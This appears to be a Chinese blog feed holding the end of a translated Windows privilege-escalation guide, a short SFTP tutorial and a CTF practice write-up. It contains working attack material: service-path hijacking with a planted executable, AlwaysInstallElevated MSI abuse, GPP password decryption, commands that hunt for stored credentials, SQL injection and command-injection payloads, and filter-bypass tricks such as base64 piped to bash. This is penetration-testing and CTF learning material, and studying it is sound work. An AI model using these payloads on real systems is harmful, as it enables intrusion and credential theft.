SERVICE_EXIT_CODE : 0 (0x0)
CHECKPOINT : 0x0
WAIT_HINT : 0x0
然后启动:

C:UsersuserDesktop>sc start "Vulnerable"
作为低权限用户,这可能会失败:

C:UsersuserDesktop>sc stop "ServiceName"
[SC] OpenService FAILED 5:
Access is denied.
要强制重新启动,可以重新启动系统,或者可以通过社工管理员或管理自己重新启动系统。

该服务还可能在启动时抛出错误消息:

C:UsersuserDesktop>sc start "ServiceName"
[SC] StartService FAILED 1053:
The service did not respond to the start or control request in a timely fashion.
当Windows执行服务时,它们应与Windows服务控制管理器通信。如果不这样做,SCM就会杀死这个进程。通过使用执行自动迁移到新进程的payload,手动迁移进程,或者在执行后将服务的bin路径设置回原始服务二进制文件,可以解决这个问题。

注册表
以下是通过注册表识别漏洞的一些方法。

注册表由一系列配置单元或配置集合组成。它们按以下方式分解:

HKEY_CLASSES_ROOT - 文件类型的默认应用程序

HKEY_CURRENT_USER - 当前用户的个人资料

HKEY_LOCAL_MACHINE - 系统配置信息

HKEY_USERS - 系统用户配置文件

HKEY_CURRENT_CONFIG - 系统启动硬件配置文件

可以从命令行调用注册表,也可以使用GUI工具Regedit进行交互。

SUBINACL工具有助于检查注册表项,但它必须被部署为一个.msi。如果系统AlwaysInstallElevated没有配置错误,则低权限用户无法使用更高权限安装.msi。(有关AlwaysInstallElevated的详细信息,请参阅后面的部分。)

例如,要使用SubInACL查询易受攻击的服务:

C:UsersuserDesktop>subinacl.exe /keyreg "HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesService" /display
...
在上面的例子中,everyone给出了full control。
也可以使用AccessChk工具查询注册表。
一旦发现有漏洞的配置,就可以将木马放入服务的ImagePath中。

C:UsersuserDesktop>reg add "HKEY_LOCAL_MACHINESYSTEMControlSet001ServicesService" /t REG_EXPAND_SZ /v ImagePath /d "C:UsersuserDesktopmalicious.exe" /f
The operation completed successfully.
与上面情况一样,必须重新启动服务才能运行木马。
即使系统上的所有服务都是封闭的,注册表也可能会出现其他漏洞。可能会保存凭据或其他信息,或者可以调整配置。此外,reg命令还可用于本地保存注册表配置单元,以便使用RegRipper等工具进行散列破解,SAM文件提取和静态分析。

不安全的文件系统权限
管理员通常为某些路径配置自由权限,以避免潜在的访问错误。这可以提供一种简单的利用途径,因此考虑与服务和服务二进制文件关联的文件系统权限是关键。

在配置错误的Windows服务的情况下,可能存在服务可执行文件的路径被完全引用并且服务权限被限制但实际二进制文件本身就不安全。

例如:

C:Program Files (x86)Program Folder>icacls "C:Program Files (x86)ProgramService Folder"
C:Program Files (x86)ProgramService Folder Everyone:(0I)(CI)(F)
...
在上面的例子中,Everyone具有路径的完全控制权限(F)。

还可以使用AccessChk工具调查文件系统权限。
默认情况下,所有经过身份验证的用户都可以写入安装在根C:目录中的软件目录。例如,Ruby、Perl和Python等脚本语言或Landesk或Marimba等远程管理工具的目录。系统安装后创建的目录通常也是可写的。C:root中的可写目录可能位于应用程序的路径中,这意味着二进制文件或.dll之类的项也可以注入其路径中。

AlwaysInstallElevated
AlwaysInstallElevated是一种允许非管理用户以SYSTEM权限运行Microsoft Windows安装程序包(.MSI文件)的设置。默认情况下禁用此设置,需系统管理员手动启用他。

可以通过查询以下注册表来识别此设置:

[HKEY_CURRENT_USERSOFTWAREPoliciesMicrosoftWindowsInstaller] “AlwaysInstallElevated”=dword:00000001
[HKEY_LOCAL_MACHINESOFTWAREPoliciesMicrosoftWindowsInstaller] “AlwaysInstallElevated”=dword:00000001
例如,通过使用reg query命令:

C:> reg query HKCUSOFTWAREPoliciesMicrosoftWindowsInstaller /v AlwaysInstallElevated
或:

C:> reg query HKLMSOFTWAREPoliciesMicrosoftWindowsInstaller /v AlwaysInstallElevated
如果存在漏洞,上面将输出以下内容:

HKEY_CURRENT_USERSOFTWAREPoliciesMicrosoftWindowsInstaller

AlwaysInstallElevated    REG_DWORD    0x1

如果系统没这个漏洞,它将输出错误:

ERROR: The system was unable to find the specified registry key or value.
如果系统配置了AlwaysInstallElevated,则可以利用它来提升权限。

可以使用msfvenom创建恶意.msi文件。选择所需的payload并设置使用-f msi将输出格式设置为MSI。
然后可以使用msiexec在易受攻击的系统上执行攻击代码。

组策略首选项漏洞
组策略首选项(GPP)与附加到域的计算机的基于Server 2008策略的配置一起发布。

客户端计算机定期使用当前登录用户的帐户凭据进行域控制,以进行身份验证,然后生成配置策略。可用于软件部署、配置启动脚本、映射网络共享、配置注册表配置单元、配置打印机、管理安全权限等。还可以为本地管理员帐户配置密码。

这些策略文件存储在域控制器的SYSVOLL共享中的一系列.xml文件中。

路径通常是这样的:

\REMOTE_HOSTSYSVOLLREMOTE_HOSTPolicies{POLICY_ID}MachinePreferences\
可能存在以下配置文件:

ServicesServices.xml
ScheduledTasksScheduledTasks.xml
PrintersPrinters.xml
DrivesDrives.xml
DataSourcesDataSources.xml
这些配置文件可能包含名为“cpassword”的配置选项,用于配置帐户的密码。这些密码使用32字节AES密钥加密:

4e 99 06 e8 fc b6 6c c9 fa f4 93 10 62 0f fe e8
f4 96 e8 06 cc 05 79 90 20 9b 09 a4 33 b6 6c 1b
此漏洞已通过MS14-025解决,但此修补程序仅阻止创建新策略,并且包含凭据的任何旧版GPP仍然容易受到攻击。
破解密码可以使用该配置访问计算机的本地管理员帐户,这可以通过Kali中的gpp-decrypt命令完成:

root@kali:~# gpp-decrypt j1Uyj3Vx8TY9LtlZi12uAuZkFQA/41atT76Zwgdhdhw
Local*P4ssword!

凭证窃取(读书人怎么能叫窃呢)
在主机上可以找到一些密码:

text
unattend.xml
GPP.xml
SYSPREP.INF
sysprep.xml
其他各种配置文件
日志文件
注册表项
文件如my_passwords.txt, my_passwords.xls等
还可以搜索文件系统以查找常见的敏感文件。

ps:个人意见,提权就是看你信息收集的全面不全面

C:UsersuserDesktop> dir C:*vnc.ini /s /b /c
或者在名称中包含关键词的项目:

C:UsersuserDesktop> dir C: /s /b /c | findstr /sr *password*
或者可以在文件内容中搜索password之类的关键字:

C:UsersuserDesktop>findstr /si password *.txt | *.xml | *.ini
可以查询注册表,例如,字符串password:

reg query HKLM /f password /t REG_SZ /s
reg query HKCU /f password /t REG_SZ /s
系统管理员可能有包含凭据的配置文件。unattend.xml文件用于自动化软件部署,并包含纯文本(base64编码)凭据。此外,已知一些用户将其密码保存在纯文本文件中是为了方便而忽视了安全性。

令牌权限
可以在以下系统中滥用这些令牌:

Microsoft Windows XP Professional SP3和之前版本
Windows Server 2003 SP2和之前的版本
Windows Server 2003 x64和x64 SP2
Windows Server 2003 (用于基于Itanium的系统SP2和先前版本)
Windows Server 2008
Windows Server 2008 x64
Windows Server 2008 (用于基于Itanium的系统)
Windows Vista SP1和之前的版本
Windows Vista x64 SP1和之前的版本
帐户有许多可利用的令牌权限:

SeImpersonatePrivilege
SeAssignPrimaryPrivilege
SeTcbPrivilege
SeBackupPrivilege
SeRestorePrivilege
SeCreateTokenPrivilege
SeLoadDriverPrivilege
SeTakeOwnershipPrivilege
SeDebugPrivilege
要查看与当前帐户使用关联的权限 whoami /priv。
这些权限可能与帐户相关联,从根本上意味着用户能够进行导致操作系统以可利用的方式运行payload的操作。

如果他们的帐户具有必要的权限,则攻击者可以调用Microsoft分布式事务处理协调器(MSDTC)服务来执行某些操作。

它在进行远程过程调用时请求提升权限,然后调用它从而生成特权安全令牌以执行特权操作。当系统允许这些令牌不仅用于进程本身,而且还用于原始请求进程时,漏洞就会出现。
有些帐户更有可能拥有这些帐户,并且有很多方法可以利用这些帐户。例如:

获取对用于系统备份的服务帐户的访问权限,并强制与运行responder.py的SMB共享进行NTLM通信

利用Web服务并获得可以执行SQL查询和帐户的帐户的访问权限 XP_CMDSHELL Kerberoast攻击,或从域控制器获取Kerberos票证并将其脱机

在以完全信任模式配置TIS的系统上执行ASP.NET代码

能够为ISAPI过滤器或扩展提供代码

发现其他服务帐户凭据泄漏

利用令牌权限是许多权限升级漏洞利用的技术,例如Metasploit中的许多工具,以及DirtyPotato等。这是一个值得开发的领域,值得进一步研究。有关这方面的更多信息,请参见此处。

DLL劫持
动态链接库(DLL)通过提供跨系统共享的可执行代码模块,在操作系统上提供了大量功能。当开发人员未指定DLL的完全限定的绝对路径时,就会出现漏洞。

当进程调用DLL时,它按以下顺序查找它:

加载应用程序的目录(例如,相对路径引用的DLL)

32位系统目录(C:WindowsSystem32)

16位系统目录(C:WindowsSystem)

Windows目录(C:Windows)

当前工作目录(CMD)

PATH环境变量中的目录(系统路径,然后是用户路径)

它执行它找到的.dll的第一个实例。

首先,有几种方法可以识别这个漏洞的流程。
该进程监视工具可以用来查看整个的过程,以及搜索和过滤他们的活动,对脆弱的DLL进行调用。

HKEY_LOCAL_MACHINESYSTEMCurrentControlSetservicesServiceNameParameters
可以查询注册表项以查看服务运行的服务DLL,或者可以将二进制文件加载到IDA中并搜索loadlibrary库调用。另外一定要检查DLL本身的DLL调用!

一旦找到易受攻击的DLL调用,就必须检查该DLL的文件系统:

C:> dir vulnerable.dll /s
还要注意,不要因为它找不到就认为它不存在。它可能只是在当前用户帐户无法查看的目录中。
最后,要执行DLL highjack,需要在目录层次结构中的某个位置,原始.dll本身,CWD或PATH中的目录中编写安全测试的.dll。

PATH是一个环境变量,它定义命令解释器在发出命令时应查找可执行文件的位置。修改PATH,并将.dll写入PATH中的目录,允许进行DLL劫持,进程在PATH中搜索.dll文件。

要修改PATH,例如:

C:UsersuserDesktop>set PATH=%PATH%;C:Python27
这将允许通过C:Python27目录中的路径加载可执行文件和DLL,默认情况下,任何经过身份验证的用户都可以写入该目录。

一些已知具有DLL劫持漏洞的Windows服务是:

IKE和AuthIP IPsec密钥模块(IKEEXT):wlbstr1.dll
Windows Media Center接收器服务(ehRecvr):ehETW.dll
Windows Media Center计划程序服务(ehSched):ehETW.dll
自动更新(wuauserv):ifsproxy.dll
远程桌面帮助会话管理器(RDSession):SalemHook.dll
远程访问连接管理器(RasMan):ipbootp.dll
Windows Management Instrumentation (winmgmt):wbemcore.dll
音频服务(STacSV):SFFXComm.dll SFCOM.DLL
英特尔快速存储技术(IAStorDataMgrSvc):DriverSim.dll
Juniper统一网络服务(JuniperAccessService):dsLogService.dll
Encase Enterprise Agent:SDDisk.dll
可以在此处找到已知具有dll劫持漏洞的其他服务。

工具和框架
幸运的是,有许多工具和框架可以使提权变得更容易:

  • Metasploit
  • Sherlock
  • windows-privesc-check
  • Windows-Exploit-Suggester
  • PowerUp, now part of PowerSploit
  • Nishang

其中许多工具可以通过自动识别可利用的错误配置或通过检查系统补丁级别与常见的已知漏洞来帮助您。但它们不是100%有效,所以要注意误报/漏报!

ps:上面的工具老司机应该都很熟练了

最后的想法
感谢您的阅读,我希望您发现本指南很有用。(我希望你已经获得了那个SYSTEM shell!)

我将在接下来的几个月内发表一些有趣的研究,但我恐怕此时不能再详细介绍,敬请期待!;)

参考

ps: 下面是一些不错的可以学习利用的网站和博客

Windows权限升级基础
https://www.fuzzysecurity.com/tutorials/16.html

Windows权限升级第1部分:本地管理员权限
https://blog.netspi.com/windows-privilege-escalation-part-1-local-administrator-privileges/

Pentesters的Windows权限提升方法
https://pentest.blog/windows-privilege-escalation-methods-for-pentesters/

“嗯,快速升级”常见的Windows权限升级向量
https://toshellandback.com/2015/11/24/ms-priv-esc/

自动执行Windows权限提升
http://resources.infosecinstitute.com/automating-windows-privilege-escalation/

Windows 8上的Extreme Privilege Escalation
https://www.blackhat.com/docs/us-14/materials/us-14-Kallenberg-Extreme-Privilege-Escalation-On-Windows8-UEFI-Systems.pdf

滥用令牌权限进行Windows本地权限提升
https://foxglovesecurity.com/2017/08/25/abusing-token-privileges-for-windows-local-privilege-escalation/

Microsoft Windows令牌绑定权限提升漏洞
https://tools.cisco.com/security/center/viewAlert.x?alertId=15702

您对GPP了解多少?
https://www.toshellandback.com/2015/08/30/gpp/

Windows操作系统中的Privilege升级
http://www.cs.toronto.edu/~arnold/427/155/csc427/indexth/privilege-escalation/privilege-escalation-windows.pdf

滥用EOP的令牌权限
https://github.com/hatRiot/token-private

利用弱文件夹权限提升权限
http://www.greyhathacker.net/?p=738

Metasploit Unleashed: 特权升级
https://www.offensive-security.com/metasploit-unleashed/privilege-escalation/

位操作: 将系统令牌作为普通用户窃取
https://zerosum0x0.blogspot.nl/2016/02/bits-manipulation-stealing-system.html

不带引号的服务路径
https://www.commonexploits.com/unquoted-service-paths/

Windows中的权限提升
https://codemuch.tech/2017/05/14/priv-esc-win.html

SysInternals AccessChk工具
https://docs.microsoft.com/en-us/sysinternals/downloads/accesschk

AccessChk.exe使用指南
https://blogs.technet.microsoft.com/seeguide/2008/07/21/how-to-use-accesschk-exe-for-security-compliance-management/

SubInACL.exe下载
https://www.microsoft.com/en-us/download/details.aspx?id=23510

当我输入getsystem时会发生什么
https://blog.cobaltstrike.com/2014/04/02/what-happens-when-i-type-get-system/

动态链接库搜索顺序
https://msdn.microsoft.com/en-us/library/windows/desktop/ms682586(v=vs.85).aspx

进程监视器下载
https://docs.microsoft.com/en-us/sysinternals/downloads/procmon

动态链接库安全性
https://msdn.microsoft.com/en-us/library/windows/desktop/ff919712(v=vs.85).aspx

Windows文件和文件夹权限指南
https://msdn.microsoft.com/en-us/library/bb727008.aspx

SECWIKI
https://github.com/SecWiki

Access Tokens
https://msdn.microsoft.com/en-us/library/windows/desktop/aa374909(v=vs.85).aspx

访问令牌的工作原理
https://technet.microsoft.com/en-us/library/cc783557(v=ws.10).aspx

Windows RE6参考
https://ss64.com/nt/reg.html

Windows CMD参考
https://ss64.com/nt/

如何使用Regedit
https://www.techsupportalert.com/content/learn-how-use-windows-registry-editor-regedit-one-easy-lesson.htm

调用-WCMDump
https://securityonline.info/invoke-wcmdump-dump-windows-credentials-from-the-credential-manager/

WMIC命令参考
https://www.computerhope.com/wmic.htm

PowerShell参考
https://ss64.com/ps/

penetration-testing-ninjitsu-with-ed
http://carnal0wnage.blogspot.com/2008/02/penetration-testing-ninjitsu-with-ed.html

DLL劫持易受攻击的应用程序
https://www.exploit-db.com/dll-hijacking-vulnerable-applications/

Windows/Linux本地特权升级研讨会
https://github.com/sagishahar/lpeworkshop

如何使用组策略劫持攻击拥有任何Windows网络
https://labs.mwrinfosecurity.com/blog/how-to-own-any-windows-network-with-group-policy-hijacking-attacks/

真实世界中的Pentesting:组策略Pwnage
https://blog.rapid7.com/2016/07/27/pentesting-in-the-real-world-group-policy-pwnage/

Windows内核漏洞利用
https://pentestlab.blog/2017/04/24/windows-kernel-exploits/

]]>
1 http://blog.luckyos.top/index.php/archives/179/#comments http://blog.luckyos.top/index.php/feed/archives/179/
不使用工具,把电脑文件上传服务器 http://blog.luckyos.top/index.php/archives/169/ http://blog.luckyos.top/index.php/archives/169/ Sat, 26 Oct 2024 22:23:00 +0800 lucky‭‭‭⁧博士⁧‭ {mtitle title="SFTP"/}

如何无需任何软件通过命令行向linux服务器传输文件
使用SFTP(SSH File Transfer Protocol)可以通过安全的SSH连接在本地和远程主机之间传输文件。以下是如何使用SFTP的基本步骤:
m2q99eem.png

兼容性强

支持所有终端 windows. macos 安卓 linux全都支持无需额外安装第三方软件

1. 连接到远程服务器

打开终端并输入以下命令以连接到远程服务器:

sftp 用户名@服务器IP

例如:sftp root@192.168.110.111
put 文件名 上传文件到服务器
get 文件名 下载文件到本地。

2. 常用SFTP命令

#查看远程目录内容:

ls
#查看本地目录内容:

lls
#切换远程目录:

cd remote_directory
#切换本地目录:

lcd local_directory
#上传文件到远程服务器:

put local_file
#下载文件到本地:

get remote_file
#上传整个目录到远程服务器:

put -r local_directory
#下载整个目录到本地:

get -r remote_directory
#退出SFTP会话:

bye
或

exit


3. 示例

假设您要将本地文件example.txt上传到远程服务器的/home/username/目录:

sftp username@remote_host
sftp> put example.txt /home/username/
sftp> bye
注意事项
确保您有远程服务器的访问权限,并且SSH服务正在运行。

]]>
0 http://blog.luckyos.top/index.php/archives/169/#comments http://blog.luckyos.top/index.php/feed/archives/169/
记一次ctf练习 http://blog.luckyos.top/index.php/archives/116/ http://blog.luckyos.top/index.php/archives/116/ Fri, 25 Oct 2024 22:25:00 +0800 lucky‭‭‭⁧博士⁧‭ 第一题 [极客大挑战 2019]EasySQL

m2otucix.png

先输入1试试

返回参数username=1&password=1

输入username=1&password=1 order by 1,2,3,4,5,6

试探类型,试探了但是好像报错You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near ''' at line 1

可以尝试一下sql万能密码,用户名输入1,密码使用万能密码' or '1'='1

https://blog.csdn.net/u012206617/article/details/125770267

m2otuvs2.png

然后点击提交,发现显示flag

另一种方法

使用sqlmap直接跑(这里没有成功)

python sqlmap.py -u "http://368a000c-f8d1-4f39-85c8-b203edf49973.node5.buuoj.cn:81/check.php?username=1&password=1" -dbs
#使用sqlmap直接一把梭,没有出来,加参数
python sqlmap.py -u "http://368a000c-f8d1-4f39-85c8-b203edf49973.node5.buuoj.cn:81/check.php?username=1&password=1" --random-agent -dbs
#得出结果
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: username (GET)
    Type: boolean-based blind
    Title: OR boolean-based blind - WHERE or HAVING clause (MySQL comment)
    Payload: username=-6221' OR 8577=8577#&password=1

    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: username=1' AND (SELECT 6452 FROM (SELECT(SLEEP(5)))DPIW)-- NqgV&password=1

Parameter: password (GET)
    Type: boolean-based blind
    Title: OR boolean-based blind - WHERE or HAVING clause (MySQL comment)
    Payload: username=1&password=-3288' OR 2496=2496#

    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: username=1&password=1' AND (SELECT 3789 FROM (SELECT(SLEEP(5)))Kfnu)-- kFrC
---
there were multiple injection points, please select the one to use for following injections:
[0] place: GET, parameter: username, type: Single quoted string (default)
[1] place: GET, parameter: password, type: Single quoted string
[q] Quit
>
选择默认,然后报错了,显示没有爆出表
[21:34:04] [INFO] retrieved:
[21:34:05] [INFO] retrieved:
[21:34:05] [CRITICAL] unable to retrieve the database names
这里不会了

结论:使用sql万能密码或者万能账号

得出flag,flag{8a48155f-d480-423e-9b13-99adfa8c8db1}

万能密码:' or '1'='1

这里sql查询语句会变成

select * from user where username= '1' and password = '' or '1'='1 '

语句为真,可行,得到flag。

万能账号:admin' or 1=1 #

select * from user where username= 'admin' or 1=1 #' and password = '1'

也为真,得到flag

第二题 [极客大挑战 2019]Havefun

启动靶机打开网址,发现一个猫,这里什么都没有,打开开发者工具看看

发现元素里面有东西

m2otv8ej.png

    $cat=$_GET['cat'];
    echo $cat;
    if($cat=='dog'){
        echo 'Syc{cat_cat_cat_cat}';
    }

这里是一段php代码,分析代码可以看出,定义了一个变量cat,使用get传参cat,会输出cat,如果输出的cat参数等于dog,会输出Syc{cat_cat_cat_cat}

在网址中传参看看

?cat=dog

m2otvfoi.png

点击execute,发现显示flag

flag{61b37ff1-713c-4608-b8e3-b293aa686e37}

第三题 [HCTF 2018]WarmUp

这一题看题目标签得知是一个php的代码审计题目

创建容器,打开是一个滑稽,和上题一样,打开开发者工具看看

m2otvoej.png

看到一个php访问看一下

m2otvvh6.png

打开是一个php,这里看不懂,发给gpt,让gpt简单分析一下代码

这段PHP代码展示了一个简单的文件包含机制,同时包含一定的安全检查,防止用户通过file参数任意包含文件。具体功能如下:

highlight_file(FILE): 这行代码会将当前PHP文件的源代码以高亮的形式显示出来。这样你可以在页面上看到这段PHP代码本身。

类 emmm:

定义了一个emmm类,包含静态方法checkFile,用于检查传入的文件是否在白名单内。
白名单($whitelist)仅包含两个文件:source.php和hint.php。
checkFile方法首先检查传入的页面参数是否存在且为字符串。如果不满足条件,输出"you can't see it"并返回false。
然后,它使用mb_substr和mb_strpos等函数提取文件路径,并逐步检查是否在白名单内。每次尝试不同的字符串处理方式来确定文件路径是否合法。
核心逻辑:

代码通过$_REQUEST['file']检查是否提供了file参数,并确保它是字符串。如果参数通过了emmm::checkFile方法的检查,则使用include包含指定的文件并终止脚本执行。
如果没有提供合法的文件,页面将显示一张图片(通过URL加载)。
安全分析:
代码采用了白名单机制,确保只有明确允许的文件(source.php和hint.php)可以被包含,避免了任意文件包含(LFI)攻击的可能性。
但仍需确保白名单内的文件是安全的,且不会被恶意修改。
传入的file参数被多次处理(如urldecode),以确保没有通过编码绕过检查,但这仍需注意编码相关的潜在风险。
总体来说,这段代码有一定的安全性,但为了确保更高的安全性,可以进一步加强验证或使用更安全的文件包含策略。

看了一个大概,继续分析,从下面向上分析

$_REQUEST 是 PHP 中的一个超全局变量,它包含了通过 HTTP 请求的方式发送给服务器的所有数据的组合。具体来说,$_REQUEST 会包括以下数组的内容:

  • $_GET:通过 URL 查询字符串传递的参数(即 GET 请求的数据)。
  • $_POST:通过表单或其他方式以 POST 请求方法传递的参数。
  • $_COOKIE:通过 HTTP 请求中的 Cookie 传递的数据。
  • //即其关键在于传了文件包含漏洞的payload之后,还使checkFile返回真。

    if (! empty($_REQUEST['file'])
       && is_string($_REQUEST['file'])
       && emmm::checkFile($_REQUEST['file'])
     ) {

有点不是很理解,百度搜了一下,发现payload文件包含漏洞,构造file的值。本地文件包含漏洞的格式一般是file=../../../.../xxx

直接访问一下hint.php

m2otw76e.png

发现文件名是ffffllllaaaagggg

那就一点一点尝试吧

file=source.php?../ffffllllaaaagggg

加到第五个的时候出现flag了

source.php?file=source.php?../../../../../ffffllllaaaagggg

flag{5a62e888-0e1e-498b-b292-f7cd4c5035c8}

第四题 [ACTF2020 新生赛]Include

文件包含

m2otwg7i.png

点击tips

发现他访问了一下?file=flag.php

这里可以使用php的伪协议

php://filter

直接?file=php://filter/read=convert.base64-encode/resource=flag

就是将读取的内容进行base64加密,访问后出现base64,解密后发现flag

m2otwo7t.png

flag{15af3147-128a-45d6-86ed-c7ffe143dbc6}

第五题 [ACTF2020 新生赛]Exec

打开页面发现是一个ping,输入127.0.0.1回环地址看看

m2otwyqc.png

发现有回显,试试能不能用拼接符

&& 或者 &

127.0.0.1 & ls /

看到显示了

PING 127.0.0.1 (127.0.0.1): 56 data bytes
64 bytes from 127.0.0.1: seq=0 ttl=42 time=0.030 ms
bin
dev
etc
flag
home
lib
media
mnt
opt
proc
root
run
sbin
srv
sys
tmp
usr
var
64 bytes from 127.0.0.1: seq=1 ttl=42 time=0.049 ms
64 bytes from 127.0.0.1: seq=2 ttl=42 time=0.050 ms

--- 127.0.0.1 ping statistics ---
3 packets transmitted, 3 packets received, 0% packet loss
round-trip min/avg/max = 0.030/0.043/0.050 ms

看到根目录有个flag文件

127.0.0.1 & cat /flag

输入这个就可以看到flag了

flag{d10744a2-c938-40f3-a6fb-fd0b0442269e}

第六题 [GXYCTF2019]Ping Ping Ping

这一题看着和上一题差不多,用上面的试试这一题

打开题目发现是用get传参的方式

打开hackbar、

m2otx7pp.png

发现并不能,也可以是限制空格,试试其他方法,;

使用;意思是执行完后执行后面的命令

m2otxf0q.png

发现有回显

可以看到一个flag.php的文件,使用cat查看

m2otxlpv.png

执行不了,应该是空格过滤,百度搜一下(命令绕过空格方法)

https://blog.csdn.net/m0_55754984/article/details/120280081

${IFS}$9
{IFS}
$IFS
${IFS}
$IFS$1
IFS
< 
<> 
%20   (space)
%09   (tab)
X=$'cat/x09./flag.php';$X

?ip=127.0.0.1;cat${IFS}flag.php

m2otxt8a.png

m2otxzko.png

不能用{}

用?ip=127.0.0.1;cat$IFS$1flag.php

m2oty6je.png

不能加flag,试试index,默认文件

?ip=127.0.0.1;cat$IFS$1index.php

m2otydfn.png

分析代码得出过滤了特殊字符,然后百度找了一下大概思路

cat fl*  用*匹配任意 
cat fla* 用*匹配任意
ca/t fla/g.php        反斜线绕过
cat fl''ag.php        两个单引号绕过
echo "Y2F0IGZsYWcucGhw" | base64 -d | bash      
//base64编码绕过(引号可以去掉)  |(管道符) 会把前一个命令的输出作为后一个命令的参数

echo "63617420666c61672e706870" | xxd -r -p | bash       
//hex编码绕过(引号可以去掉)

echo "63617420666c61672e706870" | xxd -r -p | sh     
//sh的效果和bash一样

cat fl[a]g.php       用[]匹配

a=fl;b=ag;cat $a$b          变量替换
cp fla{g.php,G}    把flag.php复制为flaG
ca${21}t a.txt     利用空变量  使用$*和$@,$x(x 代表 1-9),${x}(x>=10)(小于 10 也是可以的) 因为在没有传参的情况下,上面的特殊变量都是为空的

选一种思路解题,试试变量替换,用$a拼接flag

得出a=g;cat$IFS$1fla$a.php

?ip=127.0.0.1;a=g;cat$IFS$1fla$a.php

这里没显示,但是执行了,又换了其他方法,最后在元素里面发现flag

m2otyou4.png

第七题 [SUCTF 2019]EasySQL

看题目应该是个sql注入题目

m2otyvtn.png

把你的旗帜给我,我会告诉你旗帜是否正确。

输入一个1看看

m2otz3z2.png

使用万能密码试试

m2otzbj2.png

不行,网上查找方法,使用堆叠注入

使用sql查询数据库show databases;

m2otzi8j.png

继续查询表show tables;

m2otzoqv.png

执行查询flag试试

m2otzv7v.png

好像不能使用from

上网找的方法,发现可以使用mysql中sql_mode的参数设置,把||变成字符串连接符

https://blog.csdn.net/qq_39311377/article/details/132762315

PIPES_AS_CONCAT

set sql_mode=PIPES_AS_CONCAT;select 1

m2ou02sv.png

得出flag

flag{2354e18f-5409-4256-a02f-64cc95b2b368}

第八题 [强网杯 2019]随便注

打开网页,发现和上题差不多

m2ou0chd.png

这题是get传参,用sqlmap一把梭试试

python sqlmap.py -u "http://039f52db-91d8-459f-bc7e-4ac6105cea9c.node5.buuoj.cn:81/?inject=1"

发现有结果

m2ou0j3r.png

加参数

python sqlmap.py -u "http://039f52db-91d8-459f-bc7e-4ac6105cea9c.node5.buuoj.cn:81/?inject=1" -dbs  #查看数据库
这里出库了,爆表的时候出问题了,手动注入试试
判断是否是字符型注入
http://039f52db-91d8-459f-bc7e-4ac6105cea9c.node5.buuoj.cn:81/?inject=1'
这里报错error 1064 : You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near ''1''' at line 1
http://039f52db-91d8-459f-bc7e-4ac6105cea9c.node5.buuoj.cn:81/?inject=select  查询关键词过滤
发现联合注入过滤了,使用堆叠注入
http://039f52db-91d8-459f-bc7e-4ac6105cea9c.node5.buuoj.cn:81/?inject=1' order by 2--+ 查询字段

m2ou0s09.png

回显报错,就说明有两个字段

1'; show databases; 查询数据库

m2ou0znw.png

1%27;%20show%20tables;` 查看所有数据表

m2ou16t9.png

"1';show columns from 1919810931114514;--+

爆出1919810931114514的内容,发现里面是一个flag

m2ou1d1y.png

select函数被过滤了,只能用其他方法查询

没有过滤 alter 和 rename。可以修改表名和列名

我们把表 words 改名为其它,然后把表 1919810931114514 改名为 words ,再在表 1919810931114514 插入一列 id ,或直接将列 flag 改名为 id ,当我们再次查询时,不就是查询 flag 所在表了吗,且可以被展示出来。

这里是网上的解题思路

  • 1';rename table words to words1;rename table 1919810931114514 to words;alter table words change flag id varchar(100) character set utf8 collate utf8_general_ci not NULL;#

网上的解释

- rename table `words` to `words1`; 修改表 words 改名为其它,
- rename table `1919810931114514` to `words`;修改表 1919810931114514 改名为 words ,
- alter table `words` change `flag` `id` varchar(100) character set utf8 collate utf8_general_ci not NULL;修改列 flag 改名为 id ,
- 或者可以 alter table words add id int unsigned not Null auto_increment primary key;在表 1919810931114514 插入一列 id,
- 然后再 1' or 1=1# ,展示flag

最后直接万能密码查询就能显示flag

m2ou1m2n.png

flag{fd0b43dc-4f30-4403-bcdb-de0d16b37f5d}

这一题使用sqlmap好像也可以跑出来,但是我的sqlmap好像有问题

第九题 [极客大挑战 2019]LoveSQL

m2ou7b57.png

使用万能密码试试

m2ou7hef.png

出现一个md5字符串

尝试解密,发现解不开

m2ou7msf.png

通过查询字段发现总共三个字段

m2ou7s9a.png

测试回显

使用database(),查询当前数据库

m2ou7xma.png

group_concat(table_name) from information_schema.tables where table_schema=database()爆表

m2ou82ow.png

可以看到两个表

先看看l0ve1ysq1表里面的内容

group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='l0ve1ysq1'

m2ou88e6.png

得到了三个字段

group_concat(id,username,password) from l0ve1ysq1

查看内容

查询完发现flag

flag{74b42ae0-ea41-4c43-947a-be3ae5ba4001}

使用工具,sqlmap一把梭

python sqlmap.py -u "http://e4906d8f-4623-46f9-8d5f-64aaab162dbe.node5.buuoj.cn:81/check.php?username=admin&password=1" --random-agent -dbs   爆出所有数据库
python sqlmap.py -u "http://e4906d8f-4623-46f9-8d5f-64aaab162dbe.node5.buuoj.cn:81/check.php?username=admin&password=1" --random-agent -D geek -tables 爆出geek数据库中的所有表
python sqlmap.py -u "http://e4906d8f-4623-46f9-8d5f-64aaab162dbe.node5.buuoj.cn:81/check.php?username=admin&password=1" --random-agent -D geek -T l0ve1ysq1 -dump  爆出geek数据库中的l0ve1ysq1表中所有的数据

m2ou47sk.png

最后得出flag

第十题 [极客大挑战 2019]Secret File

m2ou40o0.png

打开题目发现寻找密码,这种清空先ctrl加u看一下源代码

有没有什么信息

m2ou3qwn.png

发现了一个/Archive_room.php点击打开

m2ou3kh8.png

打开看看

m2ou3dzx.png

好像中间发生了什么,抓个包看看

m2ou37ah.png

有一个302跳转,但是中间还有一个隐藏文件,访问这个文件

m2ou3066.png

代码审计,看到注释,说flag在flag.php文件里面,上面有个get传参file,这里可以使用php伪协议

filter

https://blog.csdn.net/qq_44879989/article/details/133513447

m2ou2sol.png

看不到,使用base64试试

?file=php://filter/read=convert.base64-encode|convert.base64-encode/resource=flag.php

m2ou2l5n.png

解密看看

m2ou2el1.png

得出flag

flag{8eda8f4d-bbb1-4ac4-b455-dc70023a5336}

]]>
0 http://blog.luckyos.top/index.php/archives/116/#comments http://blog.luckyos.top/index.php/feed/archives/116/
